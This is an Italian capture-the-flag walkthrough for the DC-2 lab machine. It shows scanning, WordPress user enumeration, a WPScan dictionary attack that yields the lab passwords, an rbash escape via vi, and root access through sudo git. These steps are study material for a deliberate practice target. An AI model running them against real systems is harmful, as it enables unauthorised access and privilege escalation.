

REPORT DC-2

STEP 1 Individuazione target(tool netdiscover)

```
192.168.1.22    08:00:27:19:2c:5d    1    60    PCS Systemtechnik GmbH
```

STEP 2 SCANSIONE DEI SERVIZI (TOOL NMAP)

```
PORT      STATE SERVICE VERSION
80/tcp    open  http      Apache httpd 2.4.10 ((Debian))
_ http-methods:
_ Supported Methods: GET HEAD POST OPTIONS
_ http-server-header: Apache/2.4.10 (Debian)
_ http-title: Did not follow redirect to http://dc-2/
MAC Address: 08:00:27:19:2C:5D (Oracle VirtualBox virtual NIC)
```

STEP 3 (enum content tool Dirb)

```
GENERATED WORDS: 4612

-- Scanning URL: http://dc-2/ --
+ http://dc-2/index.php (CODE:301|SIZE:0)
+ http://dc-2/server-status (CODE:403|SIZE:292)
=> DIRECTORY: http://dc-2/wp-admin/
=> DIRECTORY: http://dc-2/wp-content/
=> DIRECTORY: http://dc-2/wp-includes/
+ http://dc-2/xmlrpc.php (CODE:405|SIZE:42)

-- Entering directory: http://dc-2/wp-admin/ --
+ http://dc-2/wp-admin/admin.php (CODE:302|SIZE:0)
=> DIRECTORY: http://dc-2/wp-admin/css/
=> DIRECTORY: http://dc-2/wp-admin/images/
=> DIRECTORY: http://dc-2/wp-admin/includes/
+ http://dc-2/wp-admin/index.php (CODE:302|SIZE:0)
=> DIRECTORY: http://dc-2/wp-admin/js/
=> DIRECTORY: http://dc-2/wp-admin/maint/
=> DIRECTORY: http://dc-2/wp-admin/network/
=> DIRECTORY: http://dc-2/wp-admin/user/
```

STEP 4

Una volta a conoscenza del CMS utilizzato era Wordpress procediamo con una scansione delle Vulnerabilità mediante il tool WPSCAN seguita dall' enumerazione degli USERS.

```

[i] User(s) Identified:

[+] admin
  Found By: Rss Generator (Passive Detection)
  Confirmed By:
    Wp Json Api (Aggressive Detection)
      - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
    Author Id Brute Forcing - Author Pattern (Aggressive Detection)
    Login Error Messages (Aggressive Detection)

[+] jerry
  Found By: Wp Json Api (Aggressive Detection)
    - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
  Confirmed By:
    Author Id Brute Forcing - Author Pattern (Aggressive Detection)
    Login Error Messages (Aggressive Detection)

[+] tom
  Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  Confirmed By: Login Error Messages (Aggressive Detection)

```

STEP 5

Adesso creiamo una wordlist mirata tramite il tool cewl

command:

```
cewl http://dc-2 -w wlist.txt
```

STEP 6

Procediamo con l'attacco a Dizionario mediante WPSCAN tramite il comando:

```
wpscan --url http://dc-2 -P wlist.txt
```

```

[i] User(s) Identified:

[+] admin
    Found By: Rss Generator (Passive Detection)
    Confirmed By:
        Wp Json Api (Aggressive Detection) View Help
        - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
        Author Id Brute Forcing - Author Pattern (Aggressive Detection)
        Login Error Messages (Aggressive Detection)

[+] jerry
    Found By: Wp Json Api (Aggressive Detection)
    - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
    Confirmed By:
        Author Id Brute Forcing - Author Pattern (Aggressive Detection)
        Login Error Messages (Aggressive Detection)

[+] tom
    Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
    Confirmed By: Login Error Messages (Aggressive Detection)

[+] Performing password attack on Xmlrpc against 3 user/s
[SUCCESS] - jerry / adipiscing
[SUCCESS] - tom / parturient
Trying admin / log Time: 00:00:40 <===== > (646 / 1121) 57.62% ETA: ??:??:??

[!] Valid Combinations Found:
    Username: jerry, Password: adipiscing
    Username: tom, Password: parturient

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

```

STEP 7

Adesso accediamo alla pagina del login ed effettuiamo l'accesso tramite jerry. Troviamo la seconda flag che ci consiglia di provare ad effettuare l'accesso tramite un altro metodo.

STEP 8

Accediamo tramite ssh con l'utente Tom e troviamo la 3 Flag. Ci rendiamo conto che ci troviamo in una rbash(restricted bash) nella quale possiamo utilizzare solo 2 comandi: ls e vi (Vim). Per bypassare rbash utilizziamo un metodo di " escape " tramite VI poi digitiamo:

```
set shell=/bin/bash
```

invio

:shell

così facendo siamo riusciti a cambiare la rbash. Qui ci accorgiamo che non basta perché i comandi classici della bin/bash non funzionano, da qui deduciamo che potrebbe esserci un problema con il settaggio della variabile d'ambiente PATH, eseguendo un controllo è effettivamente così quindi andiamo a esportare con il comando EXPORT esportiamo la shell nel path corretto. Una volta fatto ciò riusciamo a loggarci con jerry.

STEP 9

Con il comando “ sudo -l ” vediamo che jerry può eseguire il comando “ git ” come amministratore senza una password. Sfruttando ciò tramite un'iniezione di codice all'interno della pagina del manuale di git digitando:

/bin/bash

Invio

Così facendo riusciamo a loggarci come root e a trovare l'ultima flag.

Abbiamo completato il Privilege Escalation !!

